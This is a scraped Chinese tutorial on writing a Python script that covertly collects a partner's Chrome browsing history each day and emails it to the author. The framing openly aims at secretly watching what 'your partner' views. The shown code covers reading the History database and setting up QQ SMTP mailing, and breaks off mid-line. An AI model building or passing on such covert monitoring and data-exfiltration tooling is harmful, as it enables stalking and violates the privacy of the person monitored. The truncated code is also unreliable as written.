Python实时监控网站浏览记录实现过程详解

您所在的位置:网站首页 python读取浏览器的网址 Python实时监控网站浏览记录实现过程详解

Python实时监控网站浏览记录实现过程详解

2023-05-05 00:24| 来源: 网络整理| 查看: 265

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

macOS SierraPython3.6Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

(2) get_history.py:

# -*- coding: utf-8 -*- from email import encoders from email.header import Header from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email.utils import parseaddr, formataddr import smtplib import argparse # 1.文件执行的需要的参数(result.txt) parser = argparse.ArgumentParser() parser.add_argument('affix_file',help='the path of the affix') args = parser.parse_args() # 2.格式化一个邮件地址和邮件信息 def _format_addr(s): name, addr = parseaddr(s) return formataddr((Header(name, 'utf-8').encode(), addr)) #连接服务器(这里大家好改成自己的!) from_addr = "[email protected]" #发件人邮箱 password = "xxxxxxxx" #发件人邮箱授权码 to_addr = "[email protected]" #收件人邮箱 smtp_server = "smtp.qq.com" #SMTP服务器地址 #邮件发件人名字、收件人名字、主题 msg = MIMEMultipart() msg['From'] = _format_addr('风一样的女子


【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3